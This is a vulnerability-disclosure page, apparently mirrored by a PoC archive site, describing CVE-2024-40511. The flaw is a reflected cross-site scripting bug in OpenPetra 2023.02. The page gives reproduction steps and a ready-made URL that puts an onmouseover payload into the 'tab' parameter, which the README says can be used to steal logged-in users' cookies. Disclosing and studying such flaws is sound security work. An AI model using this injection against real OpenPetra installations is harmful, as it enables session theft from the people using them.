Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-40511 PoC — OpenPetra 安全漏洞

Source
Associated Vulnerability
Title:OpenPetra 安全漏洞 (CVE-2024-40511)
Description:OpenPetra是OpenPetra公司的一个免费的管理软件。 OpenPetra 2023.02版本存在安全漏洞,该漏洞源于存在跨站脚本漏洞,允许远程攻击者通过serverMServerAdmin.asmx函数获取敏感信息。
Description
OpenPetra v.2023.02 CVE-2024-40511
Readme
# CVE-2024-40511
# Cross Site Scripting vulnerability in openPetra v.2023.02 via the serverMServerAdmin.asmx function.

**Description**: An unauthenticated user can steal cookies from authenticated user, by exploiting a XSS in openPetra v.2023.02 via the serverMServerAdmin.asmx function.

**Vulnerable Product Version**: openPetra v.2023.02  
**CVE Author**: Jansen Moreira 
**Date**: 13/07/2024  
**CVE**: CVE-2024-40511  
**CVE Link**: https://www.cve.org/CVERecord?id=CVE-2024-40511  
**NVD Link**: https://nvd.nist.gov/vuln/detail/CVE-2024-40511     
**Tenable Link**: https://www.tenable.com/cve/CVE-2024-40511  
**Confirmed on**: 13/07/2024                               
**Tested on**: Linux  
### Steps to reproduce:  
1- Access the home Page  
2- Use the following path and add the xss payload in the tab parametrer. EX.:  ```http://target.com/api/serverMServerAdmin.asmx?bnd=TMServerAdminWebServiceSoap&op=TServerAdminWebConnector_LoginServerAdmin&page=op&tab=x" onmouseover=alert(document.cookie) x="```     
3- Hover the mouse over the left index item to trigger the XSS  

**Payloads**:  
tab: x" onmouseover=alert(document.cookie) x="


Discoverer(s)/Credits:
Jansen Moreira 
File Snapshot

[4.0K] /data/pocs/f0dcf821e20559d61c0ecceda768a49c5f8364d5 └── [1.2K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.